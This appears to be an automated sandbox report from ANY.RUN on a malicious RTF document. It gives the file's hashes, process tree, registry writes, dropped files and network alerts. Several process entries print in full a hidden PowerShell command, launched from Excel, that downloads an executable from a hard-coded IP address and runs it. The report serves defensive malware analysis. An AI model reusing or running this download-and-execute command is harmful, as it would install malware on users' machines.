File name:

6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc

Full analysis: https://app.any.run/tasks/be3cd14c-1191-4ef4-97a7-11ed64638e3f
Verdict: Malicious activity
Analysis date: March 14, 2019, 07:05:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
generated-doc
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

53A1B62EE162DC9E63A98BA67EAF8DB6

SHA1:

AB1461867C879F90718732B408EBAC38D90DE7BD

SHA256:

6A357BEC360CEADA6155C88513C3FF6DB7EE2A138E5369FD7774B075E1931BC1

SSDEEP:

1536:oZdV61oY2fpBWd07mz5hU2iDbiM4/61oY2fpBWd07mz5hU2iDbiM4/61oY2fpBWu:oHcMp8wMp8wMp8wMp8wMp8HID4SmHS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 2200)
      • EXCEL.EXE (PID: 2316)
      • EXCEL.EXE (PID: 3764)
      • EXCEL.EXE (PID: 1712)
      • EXCEL.EXE (PID: 1428)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2200)
      • EXCEL.EXE (PID: 2316)
      • EXCEL.EXE (PID: 3764)
      • EXCEL.EXE (PID: 1712)
      • EXCEL.EXE (PID: 1428)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3572)
      • powershell.exe (PID: 2796)
      • powershell.exe (PID: 3400)
      • powershell.exe (PID: 3664)
      • powershell.exe (PID: 3104)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3496)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2200)
      • EXCEL.EXE (PID: 1712)
      • WINWORD.EXE (PID: 3496)
      • EXCEL.EXE (PID: 2316)
      • EXCEL.EXE (PID: 1428)
      • EXCEL.EXE (PID: 3764)
      • excelcnv.exe (PID: 2728)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: Admin
LastModifiedBy: Admin
CreateDate: 2019:01:07 23:54:00
ModifyDate: 2019:01:07 23:54:00
RevisionNumber: 1
TotalEditTime: -
Pages: 1
Words: -
Characters: 4
CharactersWithSpaces: 4
InternalVersionNumber: 57435
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
12
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs excel.exe no specs powershell.exe excel.exe no specs powershell.exe excel.exe no specs powershell.exe excel.exe no specs powershell.exe excel.exe no specs powershell.exe excelcnv.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1428"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1712"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2200"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2316"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2728"C:\Program Files\Microsoft Office\Office14\excelcnv.exe" -EmbeddingC:\Program Files\Microsoft Office\Office14\excelcnv.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excelcnv.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2796"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3104"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3400"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3496"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3572"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4; C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
4 017
Read events
3 295
Write events
694
Delete events
28

Modification events

(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:?)(
Value:
3F292800A80D0000010000000000000000000000
(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3496) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1315831829
(PID) Process:(3496) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315831948
(PID) Process:(3496) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1315831949
(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
A80D000016C4654E34DAD40100000000
(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:h*(
Value:
682A2800A80D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:h*(
Value:
682A2800A80D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3496) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
0
Suspicious files
10
Text files
1
Unknown types
3

Dropped files

PID
Process
Filename
Type
3496WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRDDAF.tmp.cvr —
MD5:—
SHA256:—
2200EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRE5FC.tmp.cvr —
MD5:—
SHA256:—
3572powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7LLEBCTOSKYPJ3EN92XX.temp —
MD5:—
SHA256:—
2316EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRFF8F.tmp.cvr —
MD5:—
SHA256:—
2796powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P5FVQHXLKFHUIFVGK9EG.temp —
MD5:—
SHA256:—
1712EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR665.tmp.cvr —
MD5:—
SHA256:—
3400powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4PBMT9N6O2M0AKEK53O2.temp —
MD5:—
SHA256:—
3764EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRCDD.tmp.cvr —
MD5:—
SHA256:—
3664powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QYCLOKVK8CLTOKEANH0I.temp —
MD5:—
SHA256:—
1428EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR145F.tmp.cvr —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
0
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3572
powershell.exe
GET
404
51.68.170.57:80
http://51.68.170.57/nay.exe
GB
html
283 b
suspicious
3664
powershell.exe
GET
404
51.68.170.57:80
http://51.68.170.57/nay.exe
GB
html
283 b
suspicious
3104
powershell.exe
GET
404
51.68.170.57:80
http://51.68.170.57/nay.exe
GB
html
283 b
suspicious
2796
powershell.exe
GET
404
51.68.170.57:80
http://51.68.170.57/nay.exe
GB
html
283 b
suspicious
3400
powershell.exe
GET
404
51.68.170.57:80
http://51.68.170.57/nay.exe
GB
html
283 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3572
powershell.exe
51.68.170.57:80
—
—
GB
suspicious
3664
powershell.exe
51.68.170.57:80
—
—
GB
suspicious
2796
powershell.exe
51.68.170.57:80
—
—
GB
suspicious
3400
powershell.exe
51.68.170.57:80
—
—
GB
suspicious
3104
powershell.exe
51.68.170.57:80
—
—
GB
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
3572
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3572
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2796
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2796
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3400
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3400
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3664
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3664
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3104
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3104
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
No debug info
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Reports
6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc